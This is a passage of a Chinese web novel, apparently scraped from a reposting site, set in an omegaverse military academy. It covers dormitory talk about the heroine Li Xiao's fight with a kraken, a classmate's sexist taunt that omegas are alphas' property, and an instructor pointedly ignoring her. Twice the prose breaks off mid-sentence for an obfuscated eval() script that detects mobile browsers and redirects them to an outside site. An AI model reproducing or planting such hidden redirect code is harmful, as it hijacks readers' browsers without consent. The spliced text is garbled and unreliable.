陆清源不想表现得太不合群——当然他也完全不准备去合这个群。 他决定等他们聊完再进去。正安静并且困扰地等着,就见门边探出一磕毛茸茸的脑袋,加布里埃尔同学弯着兔毛蓝的眼睛自来熟地笑:“老大你回来了啊!” 寝室里的空气瞬间安静,其余六人各自讪讪,正懊恼自己百密一疏,居然在这个从出身到品行全都透着大写的“尊贵”两字的首席面前暴露了自己低俗的一面,就听加布里埃尔同学天真无邪地问:“对了,老大你觉得谁最可爱?就我们基地里的女孩子。” ——同训练基地里女同学很多,但目前他们接触过的只有三个。所以其实也就是在问这三个人。 众人内心撕扯着,在“嗷!你怎么敢?”和“干得漂亮!终于有人敢问了!”之间疯狂跳针。不由自主地同时转身,死死盯住了陆首席。很好——首席没有生气! ——首席深吸了一口气。 ——首席走进屋里,谨慎地仔细关上了房门。 ——首席正认真地思考。 ——首席开口了! 众人目光炯炯心跳加速凝神细听,就听陆首席中正客观地回答:“……我对她们所有人都很尊重。” 众人:……切!敢不敢说句实话啊!白瞎情绪了!这种答案用得着这么长的前摇吗?! 那声“什么嘛,也太敷衍了吧!”传到耳中时,众人差点以为是自己不留神说漏了嘴。幸好发出质疑的那个还是脑子里缺根筋的加布里埃尔同学,他不满地戳穿,“你明显更喜欢黎晓同学嘛。” 众人:等等,这就有些过火了啊! 陆清源:…… 陆清源很少会对一个人产生这么强烈的“想请他消失”的情绪,但他知道此刻所有的眼睛都盯着他,他必须得正面做出有说服力的回答。 “我和黎晓同学并肩作战过,”陆清源轻呼了一口气,用自己最平淡的语气说道,“如果你们订阅了军网简报,也许读到过——今年2月达瓦市东郊珞珈山,8703号未知种……” 已有人急切地失声喊道:“是那只尸块克拉肯吗?!” 陆清源点头:“嗯,是它。当时黎晓同学、叶赛宁班的安德烈同学、雪莱班的成铭同学,和我一起参与了那次讨伐。” 所有人都倒吸了一口气——他们当然都订阅了军网内参,也当然都读过那份简报。无论是超规格的S级未知种,还是击杀者里“陆清源”的名字,都足以让他们在扫到通知的第一时间就点进去仔细查看。也因此,简报上配的那张从受害者视角近距离拍摄的狂舞着尸块触须把尖叫着的活人变成无法自控的傀儡的巨型章鱼怪动态照片,就给猝不及防的他们留下了深刻的心理阴影。 ……迄今他们都还在庆幸,幸好它初战遇到的就是陆清源。幸好它已经被打倒了。 但当时他们普遍都只注意到了陆清源和安德烈的名字,以为另外两个只是幸运地蹭到了他们的战功。 ……原来竟是全明星阵容吗。 众人心有余悸:“那只大章鱼得有六十多米吧?我看照片上的触须甩得比红杉树还高。” “是。尸块主体堆了十八米左右,触须长度超过六十米。”陆清源平静地解释,“而黎晓同学在炮火援助彻底瘫痪的情况下,独自迎着触须高高跃起,杀穿了克拉肯体所有攻线,用双头矛一击刺穿了魔兽的本体……我借着矛头当引针,才能引雷劈散它的控肢。” 所有人都在倒吸气:“八条触须啊……她就这么杀上去了?” 虽然事实上大部分触须都被他和成铭牵制住了,袭击黎晓的并没有八条那么多…… 但陆首席还是毫不犹豫地回答:“是的,她就那么杀上去了。” “嘶……” 借助礼装跃起十八米,这点不稀奇,他们之中大部分人都能做到。但在如此巨大恐怖的触须威胁之下,腾空杀入控尸怪物的制空区,未免也太丧心病狂了吧!毕竟那可是腾空啊,腾空时身体是没有支撑和借力的,万一躲避不及被触须卷住…… 他们甚至都不敢继续想。 饶是如此,也要亲身杀进去——明明陆地上还有陆同学这个人间大炮和罗西同学那个钢铁壁垒可以依赖——这究竟是怎样的肉搏狂徒啊! “所以,”陆首席在心里默默对黎晓同学说了声对不起,轻描淡写地总结,“你们能懂吧——我确实‘尤其’尊重黎晓同学。” 所有人都疯狂点头:“懂懂懂,特别懂。” 确实很难不“尊重”了! “黎晓同学果然好厉害啊。”众志成一的敬畏氛围里,就只有加布里埃尔眨着他清澈的蓝眼睛一脸憧憬地感慨,认真地追问着,“那她是怎么发现怪物本体的?我对着视频找了好久呢,完全没有发现破绽。” 众人:你是认真的吗?! ……却也不由自主地再度被拉回注意力,看向陆清源。 陆清源感到了轻微地难缠:“据说是算出来的。” “算……出来?”众人有些听不懂。 “是的,算出来,事后她给安德烈讲了二十分钟的应用几何。如果你们感兴趣——” “也没那么感兴趣!”众人果断切断了话题——这是什么鬼畜的战斗方式啊!各种意义上都太可怕了! 爱讲数学题的肉搏系温柔少女,这就不是他们这个年纪的小男孩配讨论的神仙。 就只有加布里埃尔同学一脸迷醉地抱住了枕头,满面红晕地把自己团到了床上:“啊,真羡慕啊……我也好想让黎晓同学给我讲几何题。” 众人:…… 在察觉到寝室里气温骤降之前,他们已经七手八脚地扑上去把加布里埃尔摁住了。 “你想个鸡毛!”“住嘴啊,晚上会做噩梦的。”“快按住他,我今天非让他知道知道厉害不可……”“别急着挠脚底板,先臭袜子堵嘴!”…… 陆清源无语地看着眼前的乱局,片刻后失笑。 军训开始十天之后,寝室里的氛围第一次破冰,同伴们毫无阴霾地打闹起来。 一切似乎就从加布里埃尔喊住黎晓,请她教自己“喘气术”开始……也或者更早些,从黎晓放弃谦逊,勇猛地杀穿战术班的队列跑到了最前,而加布里埃尔居然跟她较起劲来开始。 有这么个活宝在,其实也不算是坏事……吧。 不……果然还是想请他尽快消失。 不经意间走到窗边,正见窗外天高月明,银光如流霜遍洒。一时风过,层层树影婆娑摇曳,飞霜如霰,漫舞眼底。他喜欢的女孩儿就在此刻奔跑着穿过了光影变幻林间小径,推开了对面宿舍楼的门,只留一个轻快的背影。 陆清源心境一乱,不觉烦恼地叹了口气。 明明这样都能遇见……为什么还是没能得到机会单独和她说一句话? 五 这一夜,黎晓久违了地怀着平和愉悦的心情入睡。 第二日早起洗漱时,安杰洛盯着她的脸,忽然就问:“昨天夜班下课后,陆清源去找过你了?” 黎晓差点呛了牙膏。 虽然回宿舍后她特地确认过,军训手册里确实没有“禁止恋爱”之类的条款,最多只禁止在公共场合发生涉性的不雅举止——但作为一个习惯了自我规训的优等生,在半公开场合趁着四下无人扯住别人的衣领亲上去什么的,她事后其实还挺心虚的。 当然,她觉得陆同学应该不会去揪这种小错……但如果被人看到,她还是会感到非常窘迫和愧疚。 “我没遇到他。”她尽量做出若无其事的表情,“他去找我了?什么时候?为什么?是班上临时有什么活动吗?” 安杰洛半眯着眼睛盯着她,似笑非笑:“他真没去?” 黎晓:啊……原来如此。 她恼火地瞪着安杰洛的眼睛重复了一遍:“没有——所以,你为什么觉得他会去找我?” 安杰洛盯了她一会儿,大约是确定她真的生气了,才恢复了他一贯的那种与人为善般语调轻巧的阴阳怪气:“只是这么猜测——昨天课上他好像一直都想跟你说话。”他抿唇一笑,“你今天看上去心情不错,是遇到什么好事了吗?” 黎晓不想跟安杰洛掰扯无中生有的流言,只道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726881|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没,就是想清楚了一些事。” “什么事?” “我有同伴、并不孤单这件事。” 安杰洛噎了一噎,故作大惊小怪地把还处于半梦游状态的雷奥妮拽了过来:“这还需要想吗?我们不一直都是你的同伴吗?” 雷奥妮被强行拽入事端,含着牙刷被吵醒过来,不在状态地左看右看:“什么……” “是我和他之间的事,你不必在意。”黎晓低头安抚了雷奥妮一句,便再度越过雷奥妮的头顶和安杰洛刀光剑影地对峙,“既然当我是同伴,就有话直说,别总是阴阳怪气。我听不懂。” 安杰洛眼中笑意也冷下来。 雷奥妮察觉到气氛不对,小心翼翼地把肩膀从安杰洛手臂里掏出来:“我洗好了……就先回去了啊。” 对峙的两人都没说话,雷奥妮便直接弓着腰从漩涡中心钻出来。没被卷进去的沙奎尔也尽量压低存在感,跟雷奥妮对了对眼神,悄悄逃掉了。 等洗漱房里只剩他们两人,安杰洛才收起他那皮笑肉不笑的笑容,抬眼直视着黎晓。 “你教我吐纳,我很感激。但一码归一码,在争取搭档这件事上,我希望你能和我公平竞争。” 黎晓反而要被他气笑了。 “不用客气,我只是做了我应该做的事,完全不需要你的感激。我只想知道,我究竟做了什么,才会让你质疑我在跟你不公平竞争。” “我没质疑,我只是希望——” 黎晓冷冷地打断他:“无缘无故地强调公平,就是在质疑不公。” 两人对视着,片刻后安杰洛忽然嘲讽地一笑:“——你是一个omega,你该不会半点自觉都没有吧?” ……哈,她可太有自觉了。黎晓在心底自嘲。 “所以呢?”她忍不住露出了讥讽的神色,“你想说什么?” “我的天,你还真没有意识到啊!”安杰洛被她的目光点燃了恶意,忍不住就想要伤害她。他恶意的笑着,字字清晰,“——omega对alpha有天然的、无法抗拒的性吸引力。” 黎晓猛的一怔。 安杰洛近前一步,在她耳边说道:“就算你完全没有这个意思,陆清源也会因为信息素的吸引,不自觉地想亲近你、给予你优待。这无关能力,无关团队的最优配置。仅仅因为——你在不自觉地吸引他。”他按着黎晓的肩膀,眼尾余光冷冷地扫过她,“身为同伴,给你一个忠告——陆同学也好,加布里埃尔同学也好,你要是没别的意思,就离他们远一些吧。这不只是为了班级的友爱,也是为了你自己的前路。” 他说着便感到索然寡味,甚至为自己必须得用这么卑劣的方式点明事实、结束竞争而感到厌恶。 却忽然听到黎晓发出一声冷笑。 她看向安杰洛,眼底带着从未在她身上出现过的——对于某个人的彻底的轻蔑之意。 仿佛在说——哈,我先前到底在对你期待些什么,你这个连坏都坏得跟庸碌无能之人千篇一律的、不过如此的男人,能给我什么惊喜,什么新意啊。 她像掸灰一样掸开安杰洛的手,收敛起眼底轻蔑,恢复了她一贯的耐心温和。 平淡地问道:“还有别的事吗?” 安杰洛张了张嘴。 在萨克森人最引以为傲的西铭公学里就读时,他总是面带谄媚的微笑却心存冰冷的蔑视。因为命运给他配备了卑微的出身和聪明的头脑,又把他丢进高贵的蠢材们手里谋求生路。他不得不微笑,也无法不轻蔑。 在很早之前他就已经决定,他既不需要朋友,也不需要对手——因为他根本就打从心底里蔑视着所有人。他只需要不择手段地抓住一切机会往上爬,一直爬到卑贱的出身不再是他被人轻蔑的根源,而成为他为人畏惧的理由。最愤懑不平的年纪里,他甚至想过,至少也要在掉下来摔死之前,在这秩序荒谬的世界头顶撒一泡尿。 直到此刻,他才忽然意识到——原来,他对眼前的omega产生过“或许能成为朋友、兼对手”的期待。 她的蔑视,比他从小到大所遭遇过的一切轻蔑,都更令他感到刺痛。 他忽然就意识到,他今天之所以非要找她的茬,是因为昨天她才得到了些许在意,今天就露出了轻快的心情。 ……肌体里的两粒砂石,有一粒是可以化消的。 倒不如说有一粒从一开始就不是砂石,它只是一块儿暂时游离的软骨。只要它选择回归,它就必然能重新融入,成为整个肌体里最多余、最可悲,但也最甜美、最顺滑的一块。 这种随时都会背叛的“同类”,这种可恶的东西…… 他几乎是口不择言地反击:“Omega就是Alpha的私产,你有什么异议吗?” 而后,他便从她那已收起轻蔑的眼神里,看到了清晰如暗夜火光的厌恶。那火光一瞬间洞穿了他用听从却嘲讽、妥协却要找茬构织起的虚弱且虚伪的自尊,烧得他整个都焦灼暴躁起来。 黎晓却已垂了眼皮,像甩开垃圾一般转身离开了。 51. 木与花之诗(六) 六 对于自己是一个omega这件事,黎晓确实太有自觉了。 毕竟从进入大树海,从来到亚丁,从那场突如其来的事故开始,就总是有人会有意无意地跳出来提醒她——原来你是一个omega啊,你知道自己是一个omega吧,你懂omega意味着什么吗? ——omega是弱者,是异类,是队伍的缺陷,是诱发他者争斗的乱源。 是不该出现在此的,被嫌弃、被侧目,该受到监护、妥善圈禁的,残次、低劣之物。 但是,这又怎么样? 不正常的到底是谁,没有自知之明的到底是谁? 他们为什么就不能有点自觉? 就睁开眼睛看一看她,看一看尤利娅、陆清源、加布里埃尔……看一看现实,尝试着去理解一下这个真实的世界——只是做出这么点理所应当的成长,究竟是有多难,究竟会让他们多恐惧? 如果是一个懒惰、胆怯、愚钝的人,用一颗被无知、偏见给娇惯、虐待坏了的脑子说出那些话也就罢了。 但安杰洛那个混球,他难道也看不到、也想不明白吗? 为什么也要用这种蠢话来攻击她?她看上去就这么懦弱自卑,毫无主见,能被这种攻击轻易击溃吗? 这混球是有多瞧不起她啊! 战术组打着哈欠走出宿舍楼,准备去小操场上集合时,正撞见从对面宿舍楼里走出来的黎晓同学。 前一夜卧谈的话题撞进脑子里,幻想中那个提着巨矛跃空抽向巨妖克拉肯的狂暴少女令他们齐刷刷地在心底打了个哆嗦,不由自主地集体立正,抓下帽子怼在胸前,满怀敬畏地同时吼道:“黎晓同学,早上好!” 黎晓怒火未消,嗅到空气中弥漫着alpha聚集时特有的令人窒闷的汗臭味,下意识地凶狠地抬头瞪去。 众人:……嗷嗷嗷,克拉肯猎杀者现形了! 看清同班同学的脸,黎晓瞬间醒神,暗暗自省——糟糕,差点着了那个混球的道儿。冷静,冷静,他们只是跟她性别不同而已,不是什么洪水猛兽。 她瞬间收敛起怒火,微笑着招了招手,略带歉意地打招呼:“嗨,早上好……” 众人:…… “早,早上好……” 一群大兵你推我我推你,谁都不想走在最前,跟这位令人“尊重”的少女并排前行——倒也不是害怕,主要是太尴尬了。完全不知道该用什么表情说什么话好。 毕竟,以二军大堪称美丽的男女比,谁没在看到她时心里冒出过“太好了,班上有可爱的女孩子”这种轻浮的快乐? 前倨而后恭?太丢人了。前后如一?太不“尊重”了! 于是,抢在刚从宿舍楼里走出来,正兴奋地准备上前跟黎晓打招呼的加布里埃尔同学之前,一脸淡定的陆清源同学自然而然地上前一步,走到了黎晓身边。 数日间萦绕在心间的丝丝缕缕的焦虑感,就在这一步之间烟消云散。 “好巧啊。”陆清源微笑着开口,“……你今天出来得似乎比平时晚一些?” “嗯。”黎晓自然不会跟陆清源解释她昨晚睡得尤其好,今早又跟人吵了一场莫名其妙的架。 她原本想问陆清源昨天是不是有话想跟她说,但对上陆清源轻柔带笑的目光,莫名地就收住了。只微笑:“雷奥妮她们应该已经到了,我们也快些去集合吧。” 七 上午的负重越野比平时顺利很多,济慈准尉难得地既没有找茬开骂,也没有临时加量。 在所有人都完成任务重新集合之后,他看了一眼秒表,几不可查地点了下头。 他把手背在身后,在队列前走了两个来回,目光巡视过每一个人的脸——当然,照例跳过了黎晓。 再开口时,他的语气里甚至能听得出似有若无的欣慰。 “现在,闭上眼睛,保持住喘气的节奏,仔细感受一下空气是怎么吹过来的,在脑子里画一张图。” 黎晓闭上眼睛,仔细感受着空气流淌的轨迹——这不难,大树海空气中导力的浓度远超嘉洛琳区,而在经历过上一次觉醒之后,她对导力的感知能力也有了很大的提高。 当她尝试在脑海中勾勒出空气流淌的痕迹时,一幅由流动的导力描绘出的风玫瑰图就这么清晰的浮现了出来。 她“看到”了间隔两米站立的同学,他们立在风玫瑰图上,如玫瑰的花芯、如暴风源起的阵眼……如一颗颗炽热的恒星。 她很轻易地便从中找到了陆清源。他在风玫瑰图上是一片纯然的炽白,不像其他人的光芒那般透着或多或少的金红色,可以据此判断体内导力的流向,他炽白得不可直视。但风玫瑰图在他周身画出的弧线却比所有人都更平稳优美。 这种突破了感官限制的视觉体验,令黎晓不由自主就回忆起了那一夜她站在树海班列的车顶上,思维顺着铁路延伸的方向无线展开的感受。 ——或许那不是幻觉,她可以试一试。黎晓想。 ——但当然,现在还不行,她还在上课。 几乎就在黎晓走神的同时,一股巨大的杀意猛然跃出,爆发出的导力乱流瞬间扰乱了玫瑰图的走向。 黎晓本能地睁开眼睛,戒备地向着那杀意所在的方向,摆出了攻击的姿势。 ——班上所有同学已都在同时睁开了眼睛。虽然大多数人的反应都没有她这么强烈,却都毫无疑问警戒地瞪向了同一个方向。 济慈准尉微微仰起了头,发出了一声不知是满意还是嘲讽的哼笑。 “勉强及格。都还有力气吗?” 众人用毫不收敛的挑衅和反讽目光回答了他的提问。 济慈准尉于是切实地满意了:“哼,那就直接开始下一项训练吧。” “终于可以不用跑步了。”前往下一个训练场地时,加布里埃尔同学偷偷握拳庆幸,“耶。” 济慈准尉一贯十分喜欢他,瞟了他一眼,居然搭了他的话:“你不说我还忘了——从今往后,每人每天十公里加练,跑完再上课!” 瞬间一片哀嚎声起。 加布里埃尔同学犹未放弃幻想:“那至少下一项训练是打魔兽对吧?是打魔兽吧?这么久了也该让我们摸一把魔兽了吧?” 两分钟后,众人站在全新的训练场地前,望着面前被悬崖夹住的四米宽的浅水湿地和湿地上疏密错落高低起伏的木桩子,无语望天。 短暂的沉默之后,隔壁的纪尧姆伸手夹住加布里埃尔的脑袋,伙同众人一起摁住他狠狠迁怒了一番。 济慈准尉瞟了他们一眼,难得地没有因为有人在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726882|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前聚堆打闹而冷嘲热讽。 只喝了口茶,淡定地提醒众人:“要上课了,赶紧归队。” ——在所有人都领悟了“吐纳”之后,不论是济慈准尉对济慈班的态度,还是济慈班对济慈准尉的感官,都在不知不觉之间缓和了。 显然,在济慈准尉那里,济慈班终于跨过了从“臭虫”到人的界线。而在济慈班眼中,济慈准尉也从嫉恨精英、满嘴脏话的虐待狂,转变为刻薄嘴臭、词不达意但大致还算负责的教官——符合他登上校内网暗区“年度最不受欢迎教师榜”榜首的水平。 在新课程开始前,终于有人勇敢地踏出了和济慈准尉沟通的第一步。 ——皮肤黝黑的锡克人辛格同学举手质疑:“一定得练跑木桩吗,准尉?我们是军人,又不是耍杂技的。” 济慈准尉轻蔑地白了他一眼:“你懂个屁,垃圾。” “别这么说准尉,”辛格同学反应迅速,眨着他睫毛浓密的大眼睛,摇头晃脑地规劝,“您是我们的老师。我们是军人,则您是尊敬的刹帝利教官;我们是垃圾,您就只能是个收垃圾的达利特了。” 众人纷纷憋笑,在心底给辛格同学竖了个大拇指。 可惜济慈准尉听不懂:“别屁话,有能耐你就上来试一试,没能耐就闭嘴。” 辛格同学活动着肩关节走出队列。 “耍杂技我肯定比不上杂技人,但,跑木桩而已。”他深吸了一口气,周身气场在一瞬间凝练如忍。随即躬身、蓄力,如猎豹般迅猛地冲了出去,踏上木桩,向着湿地对面的平台飞奔而去。 然而水里的木桩竟然是活的,在他踏上去的时候迅速弹起。辛格脚下一趔趄,硬是凭着柔软的身体能力迅速调整步伐,准确踩住了下一根木桩,然而那木桩在他踏上去的时候凭空消失,他整个人兜头扑向水面。借着第一根木桩的力强蹬了一步,抢在落水前,前右手勉强按住第三个木桩,正想借力腾空重新调整一下身形,湿地里却凭空蹿出第三根木桩,正冲着他的下巴撞去。所幸辛格同学及时察觉风声,半空中勉强侧身躲避,借力的第三根木桩也在同时瞬间下沉。他也彻底失去平衡,全身摔进了沼泥里,溅起一片水花。 从前到后,总共没超过一秒钟。以连贯的视觉效果来看,很像是他直接冲上去表演了空中翻身一百八十度水平落水。 辛格同学摸着头从泥地里爬出来,摔得有些懵。 “你已经死了,三分钟后吃剩的骨架会被泥螺吐出来。废物饲料!”济慈准尉冷冷地喝斥,“——归队!” 辛格同学没再做声,很识时务地迅速回归队列了。 队列里一片安静,没人有心嘲笑他——一起军训十天,班上哪些同学能力出众,大家都已经摸得很清楚了。或许力气和速度上辛格同学不是顶尖,但论敏捷和耐力,班上没几个比他强。 这次的训练分明正撞在他的强项上,若非如此,他也不会选在这个时候刻意表现。 就算他对木桩的“攻击性”尚无准备,按说应该也不至于这么快就落败才是。 济慈准尉的目光扫过所有人,问道:“还有谁要试吗?” “唰”的一声,战术组除了辛格同学之外,所有人都举起了手。眼中燃着熊熊烈火。 黎晓也毫不犹豫地举起了手。 52. 木与花之诗(七) 八 这结果多少有些出乎济慈准尉的预料——精英Alpha们固然热爱挑战、热爱一切能让他们出风头的场合,但普遍都不喜欢当众丢脸。他以为辛格的失败多少能让他们冷静一下,稍作观望之后再行动。 “跑不过五根木桩的,蛙跳一百次。”济慈准尉加重了失败的代价。 Alpha们用“就这?”的质疑目光看着他,丝毫没有退缩的意思——笑话,这十天里被骂蛆、臭虫、垃圾他们都忍下了,当着可爱女孩子的面猪一样在泥地里翻滚,过后还能腆着里去向人家请教怎么“喘气”。人格和尊严早就裁成裤衩子穿得只剩松紧带了。 不过就是当众失败几次,蛙跳几百下,算个毛线啊! 他们现在唯一想要的只有进步、进步,还是他爹的进步。一直进步到能在几何大法的加持之下,穿越触须丛林一矛洞穿尸怪克拉肯深埋在十八米肉盾之下的本体,赢回受“尊重”的权利。 让其余的一切都见鬼去吧。 手举得更高了——所有人都双眼冒火,恨不能第一个上去丢脸……当然,现在只能当第二个了。 济慈准尉缓缓抬起了下巴,不知是不是错觉,他那张不对称的阴阳脸上,似乎勾起了一抹笑。 但那笑意迅速消失,他重新摆出一张臭脸,嘲讽:“急什么?有你们练到吐的时候。” 众人懵了一瞬。 杰奎尔扭头悄悄问安杰洛:“什么意思?” 安杰洛神色倦倦,懒得掩饰语气里的嘲讽:“——这是下一个十天的常规训练。” 声音虽低,却足够这些耳聪目明的alpha们听得一清二楚。 过去十天的经历如抽胶卷般飞驰过脑海,抽得他们头痛欲裂,抽得如怒放之花一般盈满脑海的上进心飞散四溅。众人纷纷在心底抱头惨叫——他们确实很想进步没错,但…… “这也要练十天吗?!”众人的嘴替加布里埃尔同学忍不住惨叫出声——这难道不该是限时挑战,过期不候吗? 济慈准尉闻言瞬间阴下脸来:“就你脖子上那个摆件,十天也未必够!”他再一次扫视众人,“现在,谁先来?” 高举的手唯恐不够快地刷刷倒下了——开什么玩笑,既然机会多到逃都逃不掉,还有什么必要上前争抢?又不是受虐狂,没有额外的好处,谁要上赶着去找羞辱啊。 就只有黎晓依旧高高地举着手。 ——所有人想要的都是比别人更多成长的机会,就只有她争取的是被看到、被认可的机会。 为此她会一次次地举起手,直到济慈准尉看清、承认她也存在于此——比所有人都更努力,和所有人一样优秀地存在于此。 “就没有一个人敢吗?”济慈准尉面露嘲讽,“都练了十天了,连这点骨气都没练出来?” 所有人都想反驳——这不是敢不敢的问题好不好!而是没动力啊! 却隐约觉得有些不对劲。等等……就一个想挑战的都没有吗? 众人疑惑着,不由自主地向队伍左后排望去——左后排有黎晓和安杰洛。 虽然相处了才十天,但他们莫名就觉得,这种时候黎晓应该会站出来才对。 至于安杰洛——作为全班身段最柔软、底线最灵活,同时也最爱、最擅长玩盘外招的那一个,这种送上门的帮济慈准尉解围、免费刷他好感度机会,安杰洛不可能不去抓。 果然黎晓高高地举着手。 安杰洛倒是安静地站在一旁,似乎有些倦怠。 众人放心了。 就听济慈准尉又轻蔑地问了一句:“真就一个也没有?” 众人不由一怔。 异样的感觉再次涌上来。 准尉的目光是望着战术组的,他应该是……不,不对。众人忽地意识到,济慈准尉是站在他们对面,正对着队伍的正中的。他曾不止一次敏锐地把要偷懒的安杰洛单独拎出来。 他应该能看到才对,黎晓同学的手举得那么高。 “我,”黎晓喊了出来,“我想试。” 众人忍不住再次望了过去。 黎晓的手高高地举着,她死死盯着济慈准尉。 但济慈准尉眼神都没瞟过去一点,仿佛什么都没听到一般,对着战术组如常放了一个嘲讽:“一个有种的都没有。看好了,我只示范一遍。” ——他甚至没有喊一声立正,让黎晓放下自己的手。 所有人都在这一刻意识到了,他们的感觉没有出错,黎晓被济慈准尉故意无视掉了。 ——他们犹然没有察觉,这是一种恶意。 Alpha都是迟钝的,在他们风调雨顺的人生之中未必没有见过这种孤立霸凌,但这种霸凌必然不是针对他们的,也几乎不可能是他们引起的——他们搞霸凌都直接上拳头。他们最多因为一个人过于讨厌而懒得理会他,但黎晓这样的姑娘显然不在其中。 黎晓这样的姑娘,不管怎么想,都是班上最受老师喜欢的那种学生。 但他们实在想不出这其中存在误会的可能性。 就只有陆清源隐约意识到了些什么,却也同样没能把这种行为和恶意联系在一起。 他从自己的母亲那里,遭遇过无数次同样的对待——他为此痛苦过,但他能够体谅母亲这么做的理由。 他也确实从中获得了成长。 他犹豫着,不确定自己是否该出面阻止,不确定黎晓同学是否愿意他出手干涉。 ——所有人都知道发生了什么,但无人有所应对的诡异之中,总算还有一个头脑简单的笨蛋。 加布里埃尔提醒:“准尉,黎晓同学想试。” 他对着黎晓飞快眨了下眼睛。 黎晓近乎麻木地看了他一眼,眼中再次亮起微茫的希望,看向济慈准尉。 济慈准尉停住了脚步。 他回头的一瞬间,所有人都感受到了那股汹涌袭来的压迫感,宛若巨大的猛兽自高处扑来。 他那张惯常带着嘲讽的、不悦的阴阳脸上,却什么表情都没有。他只看着加布里埃尔,冰冷地提醒:“跟我说话,要先说报告。” 所有人皮肤上寒毛都不由自主地立起,已屏住呼吸,本能地警戒起来——这一次的恶意,他们切实地感受到了。 黎晓喊了一声:“报告——” 但她声音太低了,就只有身边几个人听到了。 所有人的注意力都在济慈准尉和加布里埃尔身上,加布里埃尔明显踩到了某条红线——这也是济慈班第一次有人跨在了顶撞济慈准尉的门槛上。 加布里埃尔脸上的天真也已收起,他回看着济慈准尉,以固执回应威压,抬头挺胸,清晰洪亮地喊:“报告!——” “管好你自己!”济慈准尉几乎是咆哮一般,不容置疑地打断了他,“立正——!” 而后济慈准尉不再理会他,转身走向了浅水木桩。 他显然余火未消,周身气势阴沉。 没人在意济慈准尉究竟为什么要为这点小事发怒——他这种自卑又自负、一遍遍对着学生强调自己的优越感的人,易怒简直太正常了。 所有人都意带同情、庆幸和敬佩地看向加布里埃尔。纪尧姆甚至拍了拍他的肩膀。 ——固然在今天之前,班上几乎所有人都对济慈准尉心存厌恶,但从没有人和人尝试过顶撞、反抗他。 并不单单因为军训规章上第一条“严守等级、服从命令”,还因为济慈准尉握有15分的评优权限。 ——军训也是一门课,占四个学分。总课程有五次阶段考核,每次考核无补考通过,可获得15分,考核前五名有额外2分加分,前10名有1分加分。满分85分。若单次考核全班都以优秀成绩通过,则班长可获得额外2分加分、副班长额外1分。另有15分,由军训主教官自由裁定给分。 总分超过85分,才能在三个月的军训课程里拿到A级评定。 这也基本意味着,济慈准尉握有除班长、副班长之外所有人的评优一票否决权——班长和副班长还是他选的。 ——能考进二军大的学生不一定都是唯分数论者,但在有分数存在的场合,也绝对都不会容许自己考低分。 因此尽管济慈准尉很讨厌,众人也还是想多少试探出他的好恶,尽量避免被他无故扣分。 而这一次,济慈准尉毫无疑问发怒了。 ……众人也直到他真正发怒才意识到,先前他固然满嘴臭虫、垃圾,但心情或许其实并不坏。 就只有安杰洛看向了黎晓。 第一次碰面时安杰洛就觉得,这女孩美得很直接——线条干净的眼睛,和谐舒适的五官。不论外貌还是气质上,都看不出任何强烈的性格,也没有任何记忆点。就是单纯直白的好看。不侵略、不醒目,甚至都不能让人耳目一新的、不会因为她在身边而产生任何拘谨的好看——舒适至极的好看。 他厌恶这种好看,发自本能的——也或者经验娴熟地,厌恶这种好看。 因为,这是会引发萨克森贵族们狩猎的好看。 但他……其实有过这么一个同伴,一个跟他一样从贫民窟里一路厮杀,从成千上万的竞争者手里争抢到贵族公学里仅有的保留名额的同伴。一个和他一起立誓要报复这个秩序荒谬的世界的同伴。 …… 她背叛了。 她当了情妇,嘲讽她们过去的“幼稚”。她反问那时的安吉拉,明明有这么轻松的,可以名利双收的,彻底改变命运的路可走,凭什么要逼她选那条根本走不通的、对她没有任何好处的路。真以为自己是什么救世主吗?明明就是个没用的小贱民,自己看不到未来,就想拉着她一起去死。凭什么高高在上地评判她?根本就是嫉妒,嫉妒她是个Omega,嫉妒她被贵族宠爱,嫉妒她可以真正地改变人生。 ……其实也不过是十三四岁时发生的事,回忆起来却恍若隔世。 安杰洛曾以为自己会在被那人指控的阴影里自我质疑一辈子,但实际上十五岁那年以男性beta的身份考入西铭之后,他就已经彻底地把她抛之脑后了。 他从未嫉妒过她。 他只是扭曲地憎恨着这个荒谬的世界,憎恨脑满肠肥的猪占据着贵族的尊位——或许也不单是脑满肠肥的猪,事实上他对陆清源、对安德烈罗西这样能力出众的继承者,也同样心存蔑视和厌恨。 因此他无法接受自己以为的同伴,用他所最不齿的方式向他们屈膝献媚,乞讨欢心。 ——但此刻他看着眼前这个明明眼眶干涸、目光倔强,却一目了然是在落泪的女孩,忽然就理解了当日那个口不择言地控诉着他的女孩儿。 他终于意识到——发生在他身上的不公,实质上在他离开萨克森,来到亚丁、进入二军大之后,就已经不再困扰他了。 ——这里确实依旧存在着阶级,但秩序却不是阶级、而是能力所主导的。纵然日后他几乎必然会因为欠缺某种出身,而被卡在某个天花板之下,但至少在此时此刻,甚至在他被天花板卡住的未来,限制他的也只会是他没有的东西,而不会是因为他贫民窟的出身。 他的前途,哪怕以萨克森省最逢高踩低的投机者的眼光看来,也是无限光明的。 但针对黎晓的不公,却是从她考入二军大、来到亚丁时,才真正开始。 ——她们所遭受的不公,恰从她们选择反抗的那一刻开始。 ……但也无所谓。 他何必要去理解这种随时都有退路,随时可以跳反的人。 他们注定不可能成为同伴。 毋宁说他只希望她赶紧认命屈服,回归她应在的秩序。他这边的竞争已经够激烈了,完全不想让这些彷徨多余的人也来横插一脚。 